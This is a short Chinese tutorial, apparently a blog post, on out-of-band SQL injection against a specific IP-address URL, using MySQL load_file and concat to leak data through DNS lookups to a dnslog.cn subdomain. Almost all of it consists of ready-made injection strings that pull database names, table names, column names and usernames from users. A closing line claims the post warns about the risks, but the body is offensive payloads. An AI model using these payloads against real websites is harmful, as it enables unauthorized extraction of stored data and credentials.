以http://59.63.200.79:8022/cat/index.php?id=1为例,
以下语句中单引号有问题,为中文,大家自己修正下:
查询所有数据库名:(以下为步骤,自己理解并写注入sql)
1.select distinct TABLE_SCHEMA from information_schema.TABLES //从information_schema库的TABLES表中获取所有的数据库名;
2.可以使用limit每次回显一个数据库名,比如limit 0,1回显第一个数据库名,也可以将所有数据库名组合一起,一起回显,sql语句应该为:select group_concat(TABLE_SCHEMA) from (select distinct TABLE_SCHEMA from information_schema.TABLES);
3.注入sql应该为and load_file(concat('//',(select group_concat(TABLE_SCHEMA) from (select distinct TABLE_SCHEMA from information_schema.TABLES);),'.jv2knh.dnslog.cn/1.txt'))
查询当前数据库名:
and load_file(concat('//',(select database()),'.jv2knh.dnslog.cn/1.txt'))
查询表名:
1.逐个回显:and load_file(concat('//',(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),’.jv2knh.dnslog.cn/1.txt’))
2.组合成一个字符串回显:and load_file(concat('//',(select group_concat(table_name) from information_schema.tables where table_schema=’security’ limit 0,1),’.jv2knh.dnslog.cn/1.txt’))
查询列名:
and load_file(concat(‘//’,(select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),’.jv2knh.dnslog.cn/1.txt’))
查询数据:
and load_file(concat(‘//’,(select username from users limit 0,1),’.jv2knh.dnslog.cn/1.txt’))
本文详细介绍了SQL注入的基本原理和常见手法,包括查询数据库名、当前数据库名、表名及列名,并展示了如何利用load_file函数读取数据。同时,强调了SQL注入的危害,提醒读者关注数据库安全,采取措施防止此类攻击。
2009

被折叠的 条评论
为什么被折叠?



